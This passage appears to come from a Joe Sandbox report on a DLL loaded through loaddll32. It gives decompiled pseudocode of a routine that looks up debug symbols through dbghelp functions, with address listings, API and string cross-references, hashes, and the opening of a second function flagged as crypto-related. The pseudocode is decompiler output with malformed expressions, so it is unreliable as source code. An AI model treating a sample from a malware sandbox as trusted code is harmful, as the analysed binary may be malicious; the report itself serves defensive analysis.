				_push(__esi);
				_t424 = _t423 & 0xfffffff0;
				E6EDBC6C0(0x11b0);
				_t418 = _t424;
				 *((intOrPtr*)(_t418 + 0x1198)) = _t421;
				 *(_t418 + 0x119c) = _t424;
				 *(_t418 + 0x11a8) = 0xffffffff;
				 *((intOrPtr*)(_t418 + 0x11a4)) = E6EDB3A00;
				 *((intOrPtr*)(_t418 + 0x11a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t418 + 0x11a0;
				 *((intOrPtr*)(_t418 + 0x5c)) = __edx;
				_t225 =  *((intOrPtr*)(__ecx));
				if( *_t225 != 0 ||  *((intOrPtr*)( *((intOrPtr*)(__ecx + 4)))) <= 0x64) {
					_t392 =  *((intOrPtr*)(_t321 + 8));
					_t301 =  *(_t321 + 0xc);
					 *((intOrPtr*)(_t418 + 0x80)) = _t321;
					_t322 =  *((intOrPtr*)(_t321 + 0x10));
					 *(_t418 + 0x1c) = _t365;
					_t366 = _t418 + 0x12;
					 *(_t418 + 0x12) = 0;
					 *((char*)(_t418 + 0x13)) = 0;
					 *(_t418 + 0x84) = _t366;
					 *((intOrPtr*)(_t418 + 0x88)) = _t225;
					 *((intOrPtr*)(_t418 + 0x8c)) = _t392;
					 *((intOrPtr*)(_t418 + 0x90)) = _t418 + 0x13;
					 *(_t418 + 0x94) = _t301;
					 *((intOrPtr*)(_t418 + 0x98)) = _t322;
					 *((intOrPtr*)(_t418 + 0x7c)) = _t392;
					 *(_t418 + 0x58) = _t301;
					 *((intOrPtr*)(_t418 + 0x78)) = _t322;
					 *((intOrPtr*)(_t418 + 0x9c)) = _t418 + 0x5c;
					if(E6EDAE4E0(_t301, _t392, _t418) == 0) {
						_t393 =  *(_t418 + 0x1c);
						 *(_t418 + 0x2c) = _t366;
						__eflags =  *_t393 ^ 0x00000001 | _t393[1];
						if(( *_t393 ^ 0x00000001 | _t393[1]) != 0) {
							E6EDBE9D0(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t302 =  *0x6edfe15c; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t302;
							if(_t302 != 0) {
								L33:
								_t234 = GetCurrentProcess();
								_t394 = _t393[0x45];
								 *(_t418 + 0x18) = _t234;
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t369 =  <  ? 0 : _t393[2] - 1;
								 *(_t418 + 0x20) = _t394;
								 *(_t418 + 0x30) = _t369;
								_t237 =  *_t302( *(_t418 + 0x18), _t369, 0, _t394, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t237 - 1;
								if(_t237 != 1) {
									goto L75;
								} else {
									_t250 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t304 = _t418 + 0x1f4;
									_t371 = _t418 + 0xa0;
									 *(_t418 + 0xc) = 0;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t328 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t250 - _t328;
									_t329 =  <=  ? _t250 : _t328;
									_t330 = 0;
									 *(_t418 + 0x14) = _t418 + 0x1f4 + ( <=  ? _t250 : _t328) * 2;
									__eflags = 0;
									 *(_t418 + 0x18) = 0x100;
									if(0 == 0) {
										L37:
										__eflags = _t304 -  *(_t418 + 0x14);
										if(_t304 !=  *(_t418 + 0x14)) {
											_t400 = _t304;
											_t304 = _t304 + 2;
											__eflags = _t304;
											_t401 =  *_t400 & 0x0000ffff;
											goto L39;
										}
									} else {
										asm("o16 nop [cs:eax+eax]");
										L36:
										_t401 = _t330 >> 0x10;
										L39:
										 *(_t418 + 0x1c) = _t330 & 0xffff0000;
										__eflags = (_t401 & 0x0000f800) - 0xd800;
										if((_t401 & 0x0000f800) != 0xd800) {
											 *(_t418 + 0x24) = _t304;
											_t337 = _t401 & 0x0000ffff;
											_t262 = 0;
										} else {
											_t269 = _t304;
											_t337 = 0;
											__eflags = (_t401 & 0x0000ffff) - 0xdbff;
											if((_t401 & 0x0000ffff) <= 0xdbff) {
												_t309 =  *(_t418 + 0x14);
												__eflags = _t269 - _t309;
												if(_t269 == _t309) {
													 *(_t418 + 0x24) = _t309;
													goto L48;
												} else {
													_t310 =  *_t269 & 0x0000ffff;
													 *(_t418 + 0x24) =  &(_t269[1]);
													 *(_t418 + 0x28) = _t310;
													__eflags = (_t310 & 0x0000fc00) - 0xdc00;
													if((_t310 & 0x0000fc00) != 0xdc00) {
														 *(_t418 + 0x1c) = ( *(_t418 + 0x28) & 0x0000ffff) << 0x00000010 | 0x00000001;
														asm("o16 nop [eax+eax]");
														goto L48;
													} else {
														_t262 = 0;
														_t337 = ( *(_t418 + 0x28) + 0x00002400 & 0x0000ffff | (_t401 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											} else {
												 *(_t418 + 0x24) = _t269;
												L48:
												_t262 = 1;
											}
										}
										_t304 =  *(_t418 + 0x18);
										__eflags = _t262 & 0x00000001;
										_t394 = 1;
										_t338 =  !=  ? 0xfffd : _t337;
										__eflags = _t338 - 0x80;
										if(_t338 >= 0x80) {
											_t394 = 2;
											__eflags = _t338 - 0x800;
											if(_t338 >= 0x800) {
												__eflags = _t338 - 0x10000;
												_t394 = 4;
												asm("sbb edi, 0x0");
											}
										}
										_t265 = _t304 - _t394;
										__eflags = _t265;
										 *(_t418 + 0x28) = _t265;
										if(_t265 > 0) {
											 *(_t418 + 0x34) = _t394;
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x18) = _t371;
											E6EDADB50(_t304, _t338, _t371, _t394, _t418, _t421, _t304);
											_t424 = _t424 + 4;
											_t267 =  *(_t418 + 0x34);
											_t330 =  *(_t418 + 0x1c);
											_t304 =  *(_t418 + 0x24);
											_t371 =  *(_t418 + 0x18) + _t267;
											 *(_t418 + 0xc) =  *(_t418 + 0xc) + _t267;
											__eflags = _t330;
											 *(_t418 + 0x18) =  *(_t418 + 0x28);
											if(_t330 != 0) {
												goto L36;
											} else {
												goto L37;
											}
										}
									}
									__eflags =  *(_t418 + 0xc) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6EDC9470(_t304,  *(_t418 + 0xc), 0x100, _t394, _t418, __eflags, 0x6edf09ec);
										goto L87;
									} else {
										_t397 =  *0x6edfe160; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t397;
										if(_t397 != 0) {
											L67:
											_t255 = GetCurrentProcess();
											_t333 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t373 = _t418 + 0x38;
											_t256 =  *_t397(_t255,  *(_t418 + 0x30), 0,  *(_t418 + 0x20), 0, 0, _t373, _t333);
											__eflags = _t256 - 1;
											if(_t256 != 1) {
												_t398 = 0;
												__eflags = 0;
											} else {
												_t256 =  *((intOrPtr*)(_t418 + 0x68));
												_t333 =  *((intOrPtr*)(_t418 + 0x6c));
												_t399 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t373 = _t399;
													_t399 = _t399 + 1;
													__eflags =  *((short*)(_t333 + _t373 * 2));
												} while ( *((short*)(_t333 + _t373 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t398 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0xc);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t398;
											 *((intOrPtr*)(_t418 + 0x48)) = _t256;
											 *(_t418 + 0x4c) = _t398;
											 *((intOrPtr*)(_t418 + 0x50)) = _t333;
											 *(_t418 + 0x54) = _t373;
											E6EDAF860(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t258 = GetProcAddress( *0x6edfe130, "SymGetLineFromInlineContextW");
											__eflags = _t258;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6EDC94E0(_t304, "called `Option::unwrap()` on a `None` value", 0x2b, _t397, _t418, __eflags, 0x6edf0ad0);
												goto L87;
											} else {
												_t397 = _t258;
												 *0x6edfe160 = _t258;
												goto L67;
											}
										}
									}
								}
							} else {
								_t273 = GetProcAddress( *0x6edfe130, "SymFromInlineContextW");
								__eflags = _t273;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6EDC94E0(_t302, "called `Option::unwrap()` on a `None` value", 0x2b, _t393, _t418, __eflags, 0x6edf0ad0);
									goto L87;
								} else {
									_t302 = _t273;
									 *0x6edfe15c = _t273;
									goto L33;
								}
							}
						} else {
							_t312 = _t393[2];
							E6EDBE9D0(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t407 =  *0x6edfe150; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t407;
							if(_t407 != 0) {
								L9:
								_t277 = GetCurrentProcess();
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t278 =  *_t407(_t277, _t312, 0, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t278 - 1;
								if(_t278 != 1) {
									L75:
									ReleaseMutex( *(_t418 + 0x2c));
									__eflags =  *((char*)(_t418 + 0x13));
									if( *((char*)(_t418 + 0x13)) != 0) {
										goto L4;
									} else {
										goto L76;
									}
									goto L80;
								} else {
									_t279 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t408 = 0x100;
									 *(_t418 + 0x20) = 0;
									 *(_t418 + 0x14) = _t312;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t346 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t279 - _t346;
									_t347 =  <=  ? _t279 : _t346;
									_t379 = _t418 + 0x1f4 + ( <=  ? _t279 : _t346) * 2;
									 *(_t418 + 0xc) = _t418 + 0x1f4;
									_t281 = 0;
									 *(_t418 + 0x30) = _t379;
									__eflags = 0;
									 *(_t418 + 0x1c) = _t418 + 0xa0;
									 *(_t418 + 0x28) = 0x100;
									if(0 == 0) {
										L13:
										__eflags =  *(_t418 + 0xc) - _t379;
										if( *(_t418 + 0xc) != _t379) {
											_t353 =  *(_t418 + 0xc);
											_t412 =  *_t353 & 0x0000ffff;
											_t354 =  &(_t353[1]);
											__eflags = _t354;
											 *(_t418 + 0xc) = _t354;
											goto L15;
										}
									} else {
										L12:
										_t412 = _t281 >> 0x10;
										L15:
										 *(_t418 + 0x18) = _t281 & 0xffff0000;
										__eflags = (_t412 & 0x0000f800) - 0xd800;
										if((_t412 & 0x0000f800) != 0xd800) {
											_t357 = _t412 & 0x0000ffff;
											_t384 = 0;
										} else {
											_t357 = 0;
											_t384 = 1;
											__eflags = (_t412 & 0x0000ffff) - 0xdbff;
											if((_t412 & 0x0000ffff) <= 0xdbff) {
												_t317 =  *(_t418 + 0xc);
												_t293 =  *(_t418 + 0x30);
												__eflags = _t317 - _t293;
												if(_t317 == _t293) {
													 *(_t418 + 0xc) = _t293;
												} else {
													_t294 =  *_t317 & 0x0000ffff;
													 *(_t418 + 0xc) =  &(_t317[1]);
													__eflags = (_t294 & 0x0000fc00) - 0xdc00;
													if((_t294 & 0x0000fc00) != 0xdc00) {
														_t297 = (_t294 & 0x0000ffff) << 0x00000010 | 0x00000001;
														__eflags = _t297;
														 *(_t418 + 0x18) = _t297;
													} else {
														_t384 = 0;
														_t357 = (_t294 + 0x00002400 & 0x0000ffff | (_t412 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											}
											_t312 =  *(_t418 + 0x14);
										}
										__eflags = _t384 & 0x00000001;
										_t385 = 1;
										_t358 =  !=  ? 0xfffd : _t357;
										_t290 =  *(_t418 + 0x28);
										__eflags = _t358 - 0x80;
										if(_t358 >= 0x80) {
											_t385 = 2;
											__eflags = _t358 - 0x800;
											if(_t358 >= 0x800) {
												__eflags = _t358 - 0x10000;
												_t385 = 4;
												asm("sbb edx, 0x0");
											}
										}
										_t408 = _t290 - _t385;
										__eflags = _t408;
										if(_t408 > 0) {
											 *(_t418 + 0x24) = _t385;
											 *(_t418 + 0x34) = _t408;
											 *(_t418 + 0x11a8) = 0;
											E6EDADB50(_t312, _t358,  *(_t418 + 0x1c), _t408, _t418, _t421, _t290);
											_t424 = _t424 + 4;
											_t292 =  *(_t418 + 0x24);
											_t408 =  *(_t418 + 0x34);
											_t312 =  *(_t418 + 0x14);
											_t379 =  *(_t418 + 0x30);
											 *(_t418 + 0x20) =  *(_t418 + 0x20) + _t292;
											_t281 =  *(_t418 + 0x18);
											__eflags = _t281;
											 *(_t418 + 0x1c) =  *(_t418 + 0x1c) + _t292;
											 *(_t418 + 0x28) =  *(_t418 + 0x34);
											if(_t281 != 0) {
												goto L12;
											} else {
												goto L13;
											}
										}
									}
									__eflags =  *(_t418 + 0x20) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6EDC9470(_t312,  *(_t418 + 0x20), 0x100, _t408, _t418, __eflags, 0x6edf09ec);
										goto L87;
									} else {
										_t409 =  *0x6edfe154; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t409;
										if(_t409 != 0) {
											L59:
											_t283 = GetCurrentProcess();
											_t350 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t381 = _t418 + 0x38;
											_t284 =  *_t409(_t283, _t312, 0, _t381, _t350);
											__eflags = _t284 - 1;
											if(_t284 != 1) {
												_t410 = 0;
												__eflags = 0;
											} else {
												_t284 =  *((intOrPtr*)(_t418 + 0x68));
												_t350 =  *((intOrPtr*)(_t418 + 0x6c));
												_t411 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t381 = _t411;
													_t411 = _t411 + 1;
													__eflags =  *((short*)(_t350 + _t381 * 2));
												} while ( *((short*)(_t350 + _t381 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t410 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0x20);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t410;
											 *((intOrPtr*)(_t418 + 0x48)) = _t284;
											 *(_t418 + 0x4c) = _t410;
											 *((intOrPtr*)(_t418 + 0x50)) = _t350;
											 *(_t418 + 0x54) = _t381;
											E6EDAF860(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t286 = GetProcAddress( *0x6edfe130, "SymGetLineFromAddrW64");
											__eflags = _t286;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6EDC94E0(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t409, _t418, __eflags, 0x6edf0ad0);
												goto L87;
											} else {
												_t409 = _t286;
												 *0x6edfe154 = _t286;
												goto L59;
											}
										}
									}
								}
							} else {
								_t298 = GetProcAddress( *0x6edfe130, "SymFromAddrW");
								__eflags = _t298;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6EDC94E0(_t312, "called `Option::unwrap()` on a `None` value", 0x2b, _t407, _t418, __eflags, 0x6edf0ad0);
									L87:
									asm("ud2");
									asm("o16 nop [eax+eax]");
									_push(_t421);
									return E6EDAE6D0( *((intOrPtr*)( &_v4528 + 0x2c)));
								} else {
									_t407 = _t298;
									 *0x6edfe150 = _t298;
									goto L9;
								}
							}
						}
					} else {
						if( *((char*)(_t418 + 0x13)) == 0) {
							L76:
							__eflags =  *(_t418 + 0x12);
							if( *(_t418 + 0x12) == 0) {
								__eflags =  *((char*)( *((intOrPtr*)(_t418 + 0x7c))));
								if( *((char*)( *((intOrPtr*)(_t418 + 0x7c)))) != 0) {
									 *(_t418 + 0x38) =  *((intOrPtr*)(_t418 + 0x78));
									 *(_t418 + 0x3c) = 0;
									 *(_t418 + 0x1a8) = 4;
									 *(_t418 + 0xa0) = 2;
									 *(_t418 + 0x11a8) = 1;
									_push(0);
									_push(_t418 + 0xa0);
									_push(_t418 + 0x1a0);
									 *( *(_t418 + 0x58)) = E6EDAF0A0(_t418 + 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x5c)) + 8)));
									_t249 =  *(_t418 + 0x38);
									_t202 = _t249 + 4;
									 *_t202 =  *(_t249 + 4) + 1;
									__eflags =  *_t202;
								}
							}
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t418 + 0x80)) + 4)))) + 1;
							_t243 =  *(_t418 + 0x58);
							__eflags =  *_t243;
							_t208 =  *_t243 == 0;
							__eflags = _t208;
							_t240 = _t243 & 0xffffff00 | _t208;
						} else {
							goto L4;
						}
						goto L80;
					}
				} else {
					L4:
					_t240 = 0;
					L80:
					 *[fs:0x0] =  *((intOrPtr*)(_t418 + 0x11a0));
					return _t240;
				}
			}

0x6edae6e0
0x6edae6e0
0x6edae6e3
0x6edae6e4
0x6edae6e5
0x6edae6e6
0x6edae6ee
0x6edae6f3
0x6edae6f5
0x6edae6fb
0x6edae701
0x6edae70b
0x6edae722
0x6edae728
0x6edae72e
0x6edae731
0x6edae736
0x6edae740
0x6edae743
0x6edae746
0x6edae74c
0x6edae74f
0x6edae752
0x6edae755
0x6edae759
0x6edae75d
0x6edae763
0x6edae76c
0x6edae772
0x6edae77b
0x6edae781
0x6edae787
0x6edae78a
0x6edae78d
0x6edae790
0x6edae79d
0x6edae7b0
0x6edae7b3
0x6edae7bb
0x6edae7be
0x6edaea68
0x6edaea6d
0x6edaea70
0x6edaea76
0x6edaea80
0x6edaea8a
0x6edaea8c
0x6edaeaae
0x6edaeaae
0x6edaeab6
0x6edaeabc
0x6edaeac7
0x6edaead1
0x6edaeade
0x6edaeae9
0x6edaeaef
0x6edaeaf6
0x6edaeaf8
0x6edaeafb
0x00000000
0x6edaeb01
0x6edaeb07
0x6edaeb0d
0x6edaeb10
0x6edaeb16
0x6edaeb1c
0x6edaeb23
0x6edaeb2a
0x6edaeb31
0x6edaeb38
0x6edaeb3f
0x6edaeb46
0x6edaeb4d
0x6edaeb54
0x6edaeb5b
0x6edaeb62
0x6edaeb69
0x6edaeb70
0x6edaeb77
0x6edaeb7e
0x6edaeb85
0x6edaeb8c
0x6edaeb93
0x6edaeb94
0x6edaeb96
0x6edaeba0
0x6edaeba2
0x6edaebaa
0x6edaebad
0x6edaebb0
0x6edaebd0
0x6edaebd0
0x6edaebd3
0x6edaebd9
0x6edaebdb
0x6edaebdb
0x6edaebde
0x00000000
0x6edaebde
0x6edaebb2
0x6edaebb2
0x6edaebc0
0x6edaebc2
0x6edaebe1
0x6edaebee
0x6edaebf1
0x6edaebf6
0x6edaec10
0x6edaec13
0x6edaec16
0x6edaebf8
0x6edaebf8
0x6edaebfd
0x6edaebff
0x6edaec05
0x6edaec20
0x6edaec23
0x6edaec25
0x6edaec65
0x00000000
0x6edaec27
0x6edaec27
0x6edaec2d
0x6edaec30
0x6edaec39
0x6edaec3f
0x6edaec74
0x6edaec77
0x00000000
0x6edaec41
0x6edaec5b
0x6edaec5d
0x6edaec5d
0x6edaec3f
0x6edaec07
0x6edaec07
0x6edaec80
0x6edaec80
0x6edaec80
0x6edaec05
0x6edaec85
0x6edaec88
0x6edaec8f
0x6edaec94
0x6edaec97
0x6edaec9d
0x6edaec9f
0x6edaeca4
0x6edaecaa
0x6edaecac
0x6edaecb2
0x6edaecb7
0x6edaecb7
0x6edaecaa
0x6edaecbc
0x6edaecbc
0x6edaecbe
0x6edaecc1
0x6edaecc7
0x6edaecca
0x6edaecd5
0x6edaecd8
0x6edaecdd
0x6edaece0
0x6edaece6
0x6edaece9
0x6edaecec
0x6edaecee
0x6edaecf4
0x6edaecf7
0x6edaecfa
0x00000000
0x6edaed00
0x00000000
0x6edaed00
0x6edaecfa
0x6edaecc1
0x6edaedae
0x6edaedb5
0x6edaefaa
0x6edaefbe
0x00000000
0x6edaedbb
0x6edaedbb
0x6edaedc1
0x6edaedc4
0x6edaedcb
0x6edaedd2
0x6edaedd6
0x6edaeddd
0x6edaeddf
0x6edaee01
0x6edaee01
0x6edaee06
0x6edaee09
0x6edaee10
0x6edaee22
0x6edaee24
0x6edaee27
0x6edaee9e
0x6edaee9e
0x6edaee29
0x6edaee29
0x6edaee2c
0x6edaee2f
0x6edaee2f
0x6edaee31
0x6edaee40
0x6edaee40
0x6edaee42
0x6edaee43
0x6edaee43
0x6edaee4a
0x6edaee54
0x6edaee54
0x6edaeea6
0x6edaeeb0
0x6edaeeb6
0x6edaeebf
0x6edaeec2
0x6edaeec5
0x6edaeec8
0x6edaeecb
0x6edaeece
0x6edaeeda
0x00000000
0x6edaede1
0x6edaedec
0x6edaedf2
0x6edaedf4
0x6edaf034
0x6edaf04d
0x00000000
0x6edaedfa
0x6edaedfa
0x6edaedfc
0x00000000
0x6edaedfc
0x6edaedf4
0x6edaeddf
0x6edaedb5
0x6edaea8e
0x6edaea99
0x6edaea9f
0x6edaeaa1
0x6edaefee
0x6edaf007
0x00000000
0x6edaeaa7
0x6edaeaa7
0x6edaeaa9
0x00000000
0x6edaeaa9
0x6edaeaa1
0x6edae7c4
0x6edae7c4
0x6edae7d5
0x6edae7da
0x6edae7dd
0x6edae7e3
0x6edae7ed
0x6edae7f7
0x6edae7f9
0x6edae81b
0x6edae81b
0x6edae826
0x6edae830
0x6edae846
0x6edae848
0x6edae84b
0x6edaeedf
0x6edaeee3
0x6edaeee8
0x6edaeeec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6edae851
0x6edae857
0x6edae85d
0x6edae860
0x6edae865
0x6edae86c
0x6edae86f
0x6edae876
0x6edae87d
0x6edae884
0x6edae88b
0x6edae892
0x6edae899
0x6edae8a0
0x6edae8a7
0x6edae8ae
0x6edae8b5
0x6edae8bc
0x6edae8c3
0x6edae8ca
0x6edae8d1
0x6edae8d8
0x6edae8df
0x6edae8e0
0x6edae8e2
0x6edae8eb
0x6edae8f2
0x6edae8f5
0x6edae8fd
0x6edae900
0x6edae903
0x6edae906
0x6edae909
0x6edae920
0x6edae920
0x6edae923
0x6edae929
0x6edae92c
0x6edae92f
0x6edae92f
0x6edae932
0x00000000
0x6edae932
0x6edae910
0x6edae910
0x6edae912
0x6edae935
0x6edae942
0x6edae945
0x6edae94b
0x6edae9b0
0x6edae9b3
0x6edae94d
0x6edae950
0x6edae952
0x6edae957
0x6edae95d
0x6edae95f
0x6edae962
0x6edae965
0x6edae967
0x6edae9b7
0x6edae969
0x6edae969
0x6edae96f
0x6edae97a
0x6edae980
0x6edae9c2
0x6edae9c2
0x6edae9c5
0x6edae982
0x6edae999
0x6edae99b
0x6edae99b
0x6edae980
0x6edae967
0x6edae9d0
0x6edae9d0
0x6edae9d3
0x6edae9db
0x6edae9e0
0x6edae9e3
0x6edae9e6
0x6edae9ec
0x6edae9ee
0x6edae9f3
0x6edae9f9
0x6edae9fb
0x6edaea01
0x6edaea06
0x6edaea06
0x6edae9f9
0x6edaea0b
0x6edaea0b
0x6edaea0d
0x6edaea13
0x6edaea19
0x6edaea1c
0x6edaea27
0x6edaea2c
0x6edaea2f
0x6edaea35
0x6edaea38
0x6edaea3b
0x6edaea40
0x6edaea43
0x6edaea46
0x6edaea49
0x6edaea4c
0x6edaea4f
0x00000000
0x6edaea55
0x00000000
0x6edaea55
0x6edaea4f
0x6edaea0d
0x6edaed05
0x6edaed0c
0x6edaef86
0x6edaef9a
0x00000000
0x6edaed12
0x6edaed12
0x6edaed18
0x6edaed1b
0x6edaed22
0x6edaed29
0x6edaed2d
0x6edaed34
0x6edaed36
0x6edaed58
0x6edaed58
0x6edaed5d
0x6edaed60
0x6edaed67
0x6edaed70
0x6edaed72
0x6edaed75
0x6edaee5b
0x6edaee5b
0x6edaed7b
0x6edaed7b
0x6edaed7e
0x6edaed81
0x6edaed81
0x6edaed83
0x6edaed90
0x6edaed90
0x6edaed92
0x6edaed93
0x6edaed93
0x6edaed9a
0x6edaeda4
0x6edaeda4
0x6edaee63
0x6edaee6d
0x6edaee73
0x6edaee7c
0x6edaee7f
0x6edaee82
0x6edaee85
0x6edaee88
0x6edaee8b
0x6edaee97
0x00000000
0x6edaed38
0x6edaed43
0x6edaed49
0x6edaed4b
0x6edaf011
0x6edaf02a
0x00000000
0x6edaed51
0x6edaed51
0x6edaed53
0x00000000
0x6edaed53
0x6edaed4b
0x6edaed36
0x6edaed0c
0x6edae7fb
0x6edae806
0x6edae80c
0x6edae80e
0x6edaefcb
0x6edaefe4
0x6edaf055
0x6edaf055
0x6edaf057
0x6edaf060
0x6edaf07c
0x6edae814
0x6edae814
0x6edae816
0x00000000
0x6edae816
0x6edae80e
0x6edae7f9
0x6edae79f
0x6edae7a3
0x6edaeef2
0x6edaeef2
0x6edaeef6
0x6edaeefb
0x6edaeefe
0x6edaef03
0x6edaef09
0x6edaef13
0x6edaef1d
0x6edaef27
0x6edaef43
0x6edaef45
0x6edaef46
0x6edaef52
0x6edaef54
0x6edaef57
0x6edaef57
0x6edaef57
0x6edaef57
0x6edaeefe
0x6edaef63
0x6edaef65
0x6edaef68
0x6edaef6b
0x6edaef6b
0x6edaef6b
0x00000000
0x00000000
0x00000000
0x00000000
0x6edae7a3
0x6edae7a9
0x6edae7a9
0x6edae7a9
0x6edaef6e
0x6edaef74
0x6edaef82
0x6edaef82

APIs

GetProcAddress.KERNEL32(SymFromAddrW), ref: 6EDAE806
GetCurrentProcess.KERNEL32 ref: 6EDAE81B

Strings

SymGetLineFromAddrW64, xrefs: 6EDAED38
SymGetLineFromInlineContextW, xrefs: 6EDAEDE1
SymFromAddrW, xrefs: 6EDAE7FB
SymFromInlineContextW, xrefs: 6EDAEA8E
called `Option::unwrap()` on a `None` value, xrefs: 6EDAEFD5, 6EDAEFF8, 6EDAF01B, 6EDAF03E

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressCurrentProcProcess
String ID: SymFromAddrW$SymFromInlineContextW$SymGetLineFromAddrW64$SymGetLineFromInlineContextW$called `Option::unwrap()` on a `None` value
API String ID: 3217270580-808744031
Opcode ID: 1ed45397d07a30bf700313717784bf92e64d3613795cc756677cc0bdf7a7bb6e
Instruction ID: c1b20a68cfcef7c68717ffdfed991e55e7c886e0571701753f42c7d997d08774
Opcode Fuzzy Hash: 1ed45397d07a30bf700313717784bf92e64d3613795cc756677cc0bdf7a7bb6e
Instruction Fuzzy Hash: 1D4237B0904B408FE725CF69C490BE2B7F5BF48314F10492EDA9B87A90E775A586CB91

Uniqueness

Uniqueness Score: -1.00%

Function 007BF561, Relevance: 21.9, Strings: 17, Instructions: 663
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E007BF561(intOrPtr __ecx) {
				char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char* _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int _v64;
				char _v68;
				char _v72;
				intOrPtr _v76;
				char _v80;
				char _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
